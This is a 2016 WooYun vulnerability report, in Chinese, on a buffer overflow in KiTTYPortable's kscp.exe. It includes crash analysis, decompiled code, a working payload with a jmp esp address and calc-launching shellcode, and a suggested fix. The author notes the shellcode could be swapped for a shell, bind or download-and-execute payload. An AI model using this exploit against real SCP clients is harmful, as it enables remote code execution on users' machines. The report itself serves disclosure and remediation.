当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0184744

漏洞标题:白吃黑之KiTTYPortable最新版存在缓冲区溢出漏洞连接我主机可反控黑阔主机

相关厂商:KiTTYPortable

漏洞作者: k0_pwn

提交时间:2016-03-15 00:40

修复时间:2016-06-16 19:00

公开时间:2016-06-16 19:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-15: 细节已通知厂商并且等待厂商处理中
2016-03-18: 厂商已经确认,细节仅向厂商公开
2016-03-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-12: 细节向核心白帽子及相关领域专家公开
2016-05-22: 细节向普通白帽子公开
2016-06-01: 细节向实习白帽子公开
2016-06-16: 细节向公众公开

简要描述:

说明中对此漏洞进行详细的分析,并提供了exploit,但是这个exploit是一个纯洁的exp,shellcode功能是弹计算器,如果需要可以换成弹shell,绑端口,下载并执行,想怎么玩怎么玩!
我将最新版KiTTYPortable上传到github,或者需要去官网下载最新版,审核大大直接运行我的exp即可
测试环境:windows xp sp3(如果改用win7,win8或者其他版本系统测试需要修改jmp esp地址)

详细说明:

软件说明、环境搭建及漏洞复现:
KiTTYPortable是一个用于SSH,或者Telnet等方式连接的工具,有点像putty,大概黑客经常使用吧,2015年这个软件老版本曾经出现过一个远程代码执行漏洞获得了CVE编号

QQ图片20160314203545.png


可不可以麻烦乌云可否尝试申请一个CVE编号呢?谢谢!
此漏洞的最新版本是2016年3月3日更新的**.**.**.**版本,新版本的kittyportable和exp.py已经上传到github,在测试代码部分可以看到
官网地址:http://**.**.**.**/kitty/?page=Download

2.PNG


此版本的kittyportable的kscp.exe存在远程代码执行漏洞。这里我提供PoC的关键部分,只需要将测试代码部分的相同位置替换即可

rep_perm_size = "C755 %s \n"%('A'*200)
LOG.info("send (time): %s"%repr(rep_time))


运行exp.py,测试代码中的test_rsa.key作为SSH交换的密钥需要和exp.py在同一个文件夹下,在另一台主机运行kscp.exe命令

kscp.exe -scp root@[IP]:/etc/passwd C:\a.txt


随便输入一个密码,就能看到程序崩溃。

3.PNG


可以看到此时指针指向了41414141这个位置,而这个位置是exp.py发送的数据,证明此位置可控。
漏洞分析:
kscp.exe是KiTTYPortable用于处理linux和windows之间文件传输的工具,此文件的sub_40C050函数中,处理缓冲区的sscanf函数在处理传输过来的文件名字符串时,没有进行长度检查和长度控制,从而导致执行完sscanf之后参数缓冲区被覆盖,从而导致返回地址被覆盖,造成远程代码执行。
首先我们用OD带参数启动kscp.exe

4.PNG


通过F9运行到达程序崩溃位置。

5.PNG


可以看到此时堆栈中已经接收到了畸形字符串

00227D5C   0040C2A8  /CALL 到 sscanf 来自 kscp.0040C2A3
00227D60 0184B548 |s = "755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫 "
00227D64 0046B463 |format = "%lo %s %n"


在崩溃位置,我们可以看到堆栈回溯的情况,首先在崩溃位置执行了jmp sscanf,正是漏洞崩溃时关键的函数调用,稍后会提及,在这个函数执行前的位置,可以看到之前的函数调用,通过IDA也能看到这个函数的名称

signed int __cdecl sub_40C050(int a1)


接下来我们在这个函数的入口处下断点,程序中断后,单步跟进程序过程

7.PNG


在此函数中,涉及到一处循环操作。

8.PNG


此处循环的作用就是接收传过来的文件名称字符串,我们直接结束这个循环,在0040c1ae的位置下断点,这里是循环结束后的汇编指令的位置,这时,观察堆栈数据。

9.PNG


这里已经接收到了exp端发送的畸形数据,这串畸形数据在后面的汇编代码中,会作为sscanf函数的参数,对一个缓冲区进行赋值。通过IDA看看这里的伪代码逻辑。首先是循环赋值操作。

do
{
while ( 1 )
{
if ( sub_40AE54(v9, 1) <= 0 )
sub_40AF38("Lost connection", (char)Control);
v11 = v80;
if ( v8 <= v80 )
break;
LOBYTE(v9) = v81;
*(_BYTE *)(*(_DWORD *)(a1 + 4) + v80) = v81;
v10 = v11 + 1;
v80 = v10;
if ( v81 == 10 )
goto LABEL_21;
}
v8 = v80 + 128;
v12 = sub_406128(*(void **)(a1 + 4), v80 + 128, 1);
*(_DWORD *)(a1 + 4) = v12;
v13 = v80;
LOBYTE(v9) = v81;
*(_BYTE *)(v12 + v80) = v81;
v10 = v13 + 1;
v80 = v10;
}
while ( v81 != 10 );


紧接着循环结束后,会在sscanf调用到赋值了畸形字符串的参数,之后会传给sscanf的第一个参数,而在整个函数过程中,没有对这个接收到的字符串进行有效的长度检查和控制。

6.PNG


因此,造成缓冲区溢出,之前我们提到崩溃时地址指向了41414141,因此我们需要精确覆盖ret地址,从而达到执行任意代码的目的。
Exploit构造:
首先我们需要找到PoC中,发送畸形字符串的关键位置,之前我们已经提到,通过调整畸形字符串内容,确定覆盖ret地址改为jmp esp的准确位置,以此方法多次尝试后,我们发现偏移76字节的位置是ret地址将会被覆盖的位置。
关键代码部分:

rep_perm_size = "C755 %s \n"%('A'*76+'\x98\x98\x98\x98'+'\x90'*80 + '\xcc'*30)
LOG.info("send (time): %s"%repr(rep_time))


客户端运行结果:

11.PNG


我们将这个位置修改成jmp esp地址,这里我们使用通用的跳转地址7ffa4512,这个跳转地址针对win xp和win 7都适用。修改完成后,我们需要确定shellcode的覆盖位置,经测试,直接连接在7ffa4512地址之后即可。主要观察\xaa\xbb\xcc\xdd
关键代码:

rep_perm_size = "C755 %s \n"%('A'*76+'\x12\x45\xfa\x7f'+'\xaa\xbb\xcc\xdd'+'\x90'*80 + '\xcc'*30)
LOG.info("send (time): %s"%repr(rep_time))


客户端结果:

13.PNG


确定了shellcode的位置之后,我们就可以直接用shellcode来执行恶意代码了,具体的exp已经在测试代码部分,直接运行即可。

shellcode  = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00")
rep_perm_size = "C755 %s \n"%('A'*76+'\x12\x45\xfa\x7f'+ shellcode + '\x90'*30)
LOG.info("send (time): %s"%repr(rep_time))


客户端访问主机时,代码执行,弹出计算器

14.PNG


exploit方:

15.PNG


漏洞证明:

3.PNG


15.PNG


14.PNG

修复方案:

在do while循环之后增加长度校验,或在sscanf执行时,对参数长度进行控制,比如%10s

版权声明:转载请注明来源 k0_pwn@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12 ×2(经典二进制漏洞 Rank 翻倍)

确认时间:2016-03-18 18:59

厂商回复:

CNVD未直接复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无